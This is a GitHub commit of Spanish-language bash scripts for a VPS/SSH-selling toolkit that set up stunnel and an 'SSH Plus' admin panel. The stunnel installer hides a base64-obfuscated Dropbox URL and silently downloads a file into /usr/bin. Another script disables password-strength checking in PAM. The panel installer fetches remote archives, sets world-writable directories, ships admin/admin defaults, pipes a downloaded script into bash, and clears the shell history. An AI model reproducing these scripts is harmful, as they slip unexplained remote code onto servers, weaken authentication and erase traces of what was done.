-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit c833833
Showing
69 changed files
with
29,452 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
#!/bin/bash | ||
echo -e "\e[1;33mREDIRECIONADOR DE PUERTO SSL NEWADM\e[0m" | ||
echo -e "\e[1;41mEscriba El Nombre Para Redireccionar El Puerto SSL\e[0m" | ||
echo -e "\e[1;36m(ejemplo) shadowsocks,dropbear,sshd,python,obfc,openvpn\e[0m" | ||
read -p ": " nombressl | ||
echo -e "\e[1;33mEscriba el puerto del Servicio a enlazar\e[0m" | ||
echo -e "\e[1;36m(ejemplo) 22,443,445,110,1114\e[0m" | ||
read -p ": " portserv | ||
echo -e "\e[1;33mEscriba el Nuevo Puerto SSL\e[0m" | ||
echo -e "\e[1;36m(ejemplo)442,445,447,448,446,521,522\e[0m" | ||
read -p ": " portssl | ||
if lsof -Pi :$portssl -sTCP:LISTEN -t >/dev/null ; then | ||
echo -e "\e[1;41mYa esta en uso este puerto\e[0m" | ||
else | ||
echo "[$nombressl] " >> /etc/stunnel/stunnel.conf | ||
echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf | ||
echo "accept = $portssl " >> /etc/stunnel/stunnel.conf | ||
echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf | ||
sleep 5 | ||
echo -e "\e[1;33mReiniciando Servicio : Stunnel4\e[0m" | ||
service stunnel4 restart 1> /dev/null 2> /dev/null | ||
fi |
53 changes: 53 additions & 0 deletions
53
ADM-VENTAS-LEALDROID/Herramientas/Install-rev/pan_cracklib.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
#!/bin/bash | ||
declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) | ||
barra="\033[0m\e[31m======================================================\033[1;37m" | ||
fun_bar () { | ||
comando="$1" | ||
_=$( | ||
$comando > /dev/null 2>&1 | ||
) & > /dev/null | ||
pid=$! | ||
while [[ -d /proc/$pid ]]; do | ||
echo -ne " \033[1;33m[" | ||
for((i=0; i<10; i++)); do | ||
echo -ne "\033[1;31m##" | ||
sleep 0.2 | ||
done | ||
echo -ne "\033[1;33m]" | ||
sleep 1s | ||
echo | ||
tput cuu1 && tput dl1 | ||
done | ||
echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" | ||
sleep 1s | ||
} | ||
pamcrack () { | ||
echo -e "${cor[5]}LIBERANDO PASSWD PARA VURTL" | ||
sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password | ||
echo -e "${cor[5]}LISTO YA PUEDES CREAR USUARIOS" | ||
} | ||
|
||
shadow_fun () { | ||
echo -e " ${cor[7]}PERMISO ROOT VURTL ${cor[6]}[ALEX_DROID9_0_MX]\033[0m" | ||
echo -e "$barra" | ||
while true; do | ||
echo -e "${cor[4]} [1] > ${cor[5]}DESBLOQUEAR VURTL PARA CREAR USUARIOS" | ||
echo -e "${cor[4]} [2] > ${cor[0]}VOLVER" | ||
echo -e "${cor[4]} [0] > ${cor[0]}SALIR\n${barra}" | ||
while [[ ${opx} != @(0|[1-2]) ]]; do | ||
echo -ne "${cor[0]}Digite una Opcion: \033[1;37m" && read opx | ||
tput cuu1 && tput dl1 | ||
done | ||
case $opx in | ||
0) | ||
exit;; | ||
1) | ||
pamcrack | ||
break;; | ||
2) | ||
menu;; | ||
|
||
esac | ||
done | ||
} | ||
shadow_fun |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
#!/bin/bash | ||
declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) | ||
barra="\033[0m\e[31m=================================================\033[1;37m" | ||
fun_bar () { | ||
comando="$1" | ||
_=$( | ||
$comando > /dev/null 2>&1 | ||
) & > /dev/null | ||
pid=$! | ||
while [[ -d /proc/$pid ]]; do | ||
echo -ne " \033[1;33m[" | ||
for((i=0; i<10; i++)); do | ||
echo -ne "\033[1;31m**" | ||
sleep 0.2 | ||
done | ||
echo -ne "\033[1;33m]" | ||
sleep 1s | ||
echo | ||
tput cuu1 && tput dl1 | ||
done | ||
echo -e " \033[1;33m[\033[1;31m********************\033[1;33m] - \033[1;32m100%\033[0m" | ||
sleep 1s | ||
} | ||
API_TRANS="aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9sZnlxZGI5NnJkejl5bW8vdHJhbnM/ZGw9MA==" | ||
SUB_DOM='base64 -d' | ||
wget -O /usr/bin/trans $(echo $API_TRANS|$SUB_DOM) &> /dev/null | ||
mportas () { | ||
unset portas | ||
portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") | ||
while read port; do | ||
var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') | ||
[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" | ||
done <<< "$portas_var" | ||
i=1 | ||
echo -e "$portas" | ||
} | ||
ssl_stunel () { | ||
[[ $(mportas|grep stunnel4|head -1) ]] && { | ||
echo -e "${cor[2]}Parando Stunnel" | ||
echo -e "$barra" | ||
fun_bar "service stunnel4 stop" | ||
echo -e "$barra" | ||
echo -e "${cor[2]}Parado Con exito!" | ||
echo -e "$barra" | ||
return 0 | ||
} | ||
echo -e "${cor[3]}Que puerto desea abrir como SSL Openssh" | ||
echo -e "$barra" | ||
while true; do | ||
read -p " Puerto SSL: " SSLPORT | ||
[[ $(mportas|grep -w "$SSLPORT") ]] || break | ||
echo -e "${cor[3]}esta puerta está en uso" | ||
unset SSLPORT | ||
done | ||
echo -e "$barra" | ||
echo -e "${cor[4]}Instalando SSL" | ||
echo -e "$barra" | ||
fun_bar "apt-get install stunnel4 -y" | ||
echo -e "$barra" | ||
echo -e "${cor[4]}Presione Enter a todas las opciones" | ||
sleep 3 | ||
echo -e "$barra" | ||
openssl genrsa 1024 > stunnel.key | ||
openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt | ||
cat stunnel.crt stunnel.key > stunnel.pem | ||
mv stunnel.pem /etc/stunnel/ | ||
echo -e "client = no\n[ssh]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:22" > /etc/stunnel/stunnel.conf | ||
|
||
echo "ENABLED=1 " >> /etc/default/stunnel4 | ||
echo "FILES="/etc/stunnel/*.conf" " >> /etc/default/stunnel4 | ||
echo "OPTIONS="" " >> /etc/default/stunnel4 | ||
echo "PPP_RESTART=0" >> /etc/default/stunnel4 | ||
service stunnel4 restart > /dev/null 2>&1 | ||
echo -e "$barra" | ||
echo -e "${cor[1]}INSTALADO CON EXITO" | ||
echo -e "$barra" | ||
return 0 | ||
} | ||
ssl_stunel |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,137 @@ | ||
#!/bin/bash | ||
Block="/etc/bin" && [[ ! -d ${Block} ]] && exit | ||
Block > /dev/null 2>&1 | ||
cowsay -f eyes "esta herramienta crea el panel SSH PLUS para administrar sus vps" | lolcat | ||
figlet ..dankelthaher.. | lolcat | ||
sleep 4 | ||
clear | ||
IP=$(wget -qO- ipv4.icanhazip.com) | ||
echo "America/Mexico_City" > /etc/timezone | ||
ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 | ||
> /dev/null 2>&1 | ||
clear | ||
sudo dpkg-reconfigure --frontend noninteractive tzdata | ||
echo -e "\E[44;1;37m PAINEL SSHPLUS v10 \E[0m" | ||
echo "" | ||
echo -e " \033[1;31mATENCION" | ||
echo "" | ||
echo -e "\033[1;32mPARA TODO USE SIEMPRE LA MISMA CONTRASENA" | ||
echo "" | ||
echo -e "\033[1;32mSIEMPRE COMFIRME LAS PREGUNTAS CON\033[1;37m Y" | ||
echo "" | ||
echo -e "\033[1;36mINICIANDO INSTALACION" | ||
echo "" | ||
echo -e "\033[1;33mESPERE..." | ||
apt-get update > /dev/null 2>&1 | ||
echo "" | ||
echo -e "\033[1;36mINSTALACION DE APACHE2\033[0m" | ||
echo "" | ||
echo -e "\033[1;33mESPERE..." | ||
apt-get install apache2 -y > /dev/null 2>&1 | ||
apt-get install cron curl unzip -y > /dev/null 2>&1 | ||
echo "" | ||
echo -e "\033[1;36mINSTALANDO PAQUETES NECESARIOS\033[0m" | ||
echo "" | ||
echo -e "\033[1;33mESPERE..." | ||
apt-get install php5 libapache2-mod-php5 php5-mcrypt -y > /dev/null 2>&1 | ||
service apache2 restart | ||
echo "" | ||
echo -e "\033[1;36mINSTALACION DE MySQL\033[0m" | ||
echo "" | ||
sleep 1 | ||
apt-get install mysql-server -y | ||
echo "" | ||
clear | ||
echo -e " \033[1;31mATENCION" | ||
echo "" | ||
echo -e "\033[1;32mUSE SIEMPRE LA MISMA CONTRASENA CADA QUE LA PIDA" | ||
echo -e "\033[1;32mCONFIRME TODAS LAS PREGUNTAS SIEMPRE USANDO \033[1;37m Y" | ||
echo "" | ||
echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read | ||
mysql_install_db | ||
mysql_secure_installation | ||
clear | ||
echo -e "\033[1;36mINSTALACION DE PHPMYADMIN\033[0m" | ||
echo "" | ||
echo -e "\033[1;31mATENCION \033[1;33m!!!" | ||
echo "" | ||
echo -e "\033[1;32mSELECCIONA LA OPCION \033[1;31mAPACHE2 \033[1;32mCON LA TECLA '\033[1;33mENTER\033[1;32m'" | ||
echo "" | ||
echo -e "\033[1;32mSELECIONE \033[1;31mYES\033[1;32m EN LA SIGUIENTE OPCION (\033[1;36mdbconfig-common\033[1;32m)" | ||
echo -e "PARA CONFIGURAR LA BASE DE DATOS" | ||
echo "" | ||
echo -e "\033[1;32mRECUERDA USAR SIEMPRE LA MISMA CONTRASENA CUANDO SEA SOLICITADA" | ||
echo "" | ||
echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read | ||
apt-get install phpmyadmin -y | ||
php5enmod mcrypt | ||
service apache2 restart | ||
ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin | ||
apt-get install libssh2-1-dev libssh2-php -y > /dev/null 2>&1 | ||
apt-get install php5-curl > /dev/null 2>&1 | ||
service apache2 restart | ||
clear | ||
echo "" | ||
echo -e "\033[1;31mATENCION \033[1;33m!!!" | ||
echo "" | ||
echo -ne "\033[1;32mINTRODUZCA LA MISMA CONTRASENA\033[1;37m: "; read senha | ||
echo -e "\033[1;32mOK\033[1;37m" | ||
sleep 1 | ||
mysql -h localhost -u root -p$senha -e "CREATE DATABASE plus" | ||
clear | ||
echo -e "\033[1;36mFINALIZANDO INSTALACION\033[0m" | ||
echo "" | ||
echo -e "\033[1;33mESPERE..." | ||
echo "" | ||
cd /var/www/html | ||
wget https://www.dropbox.com/s/2x6w32kacpkmzvc/painel10.zip > /dev/null 2>&1 | ||
sleep 1 | ||
unzip painel10.zip > /dev/null 2>&1 | ||
rm -rf painel10.zip index.html > /dev/null 2>&1 | ||
service apache2 restart | ||
sleep 1 | ||
if [[ -e "/var/www/html/pages/system/pass.php" ]]; then | ||
sed -i "s;suasenha;$senha;g" /var/www/html/pages/system/pass.php > /dev/null 2>&1 | ||
fi | ||
sleep 1 | ||
cd | ||
wget https://www.dropbox.com/s/3zfjofux5ooxrwj/plus.sql > /dev/null 2>&1 | ||
sleep 1 | ||
if [[ -e "$HOME/plus.sql" ]]; then | ||
mysql -h localhost -u root -p$senha --default_character_set utf8 plus < plus.sql | ||
rm /root/plus.sql | ||
else | ||
clear | ||
echo -e "\033[1;31mERROR Al IMPORTAR BASE DE DATOS\033[0m" | ||
sleep 2 | ||
exit | ||
fi | ||
echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.php' >> /etc/crontab | ||
echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.ssh.php ' >> /etc/crontab | ||
echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.sms.php' >> /etc/crontab | ||
echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.online.ssh.php' >> /etc/crontab | ||
echo '10 * * * * root /usr/bin/php /var/www/html/pages/system/cron.servidor.php' >> /etc/crontab | ||
/etc/init.d/cron reload > /dev/null 2>&1 | ||
/etc/init.d/cron restart > /dev/null 2>&1 | ||
chmod 777 /var/www/html/admin/pages/servidor/ovpn | ||
chmod 777 /var/www/html/admin/pages/download | ||
chmod 777 /var/www/html/admin/pages/faturas/comprovantes | ||
service apache2 restart | ||
sleep 1 | ||
clear | ||
echo -e "\033[1;32mPANEL INSTALADO CON EXITO!" | ||
echo "" | ||
echo -e "\033[1;36mLINK AL AREA DE ADMINISTRADOR:\033[1;37m $IP:81/html/admin\033[0m" | ||
echo -e "\033[1;36mLINK AL AREA DE REVENDEDOR: \033[1;37m $IP:81/html\033[0m" | ||
echo -e "\033[1;36mUSUARIO\033[1;37m admin\033[0m" | ||
echo -e "\033[1;36mCONTRASENA\033[1;37m admin\033[0m" | ||
echo "" | ||
echo -e "\033[1;31mATENCION \033[1;33m!!!" | ||
echo "" | ||
echo -e "\033[1;33mCuando crea un servidor es necesario instalar este comando:\033[0m" | ||
echo -e "\033[1;33mwget http://ssh-plus.tk/revenda/confpainel/inst > /dev/null 2>&1; bash inst\033[0m" | ||
echo -e "\033[1;33men la vps que se convertira en servidor\033[0m" | ||
echo -e "\033[1;31mNOTA: \033[1;33m!!!" | ||
echo "" | ||
echo -e "\033[1;33mCambie la contrasena al iniciar sesion en el panel\033[0m" | ||
cat /dev/null > ~/.bash_history && history -c |
Oops, something went wrong.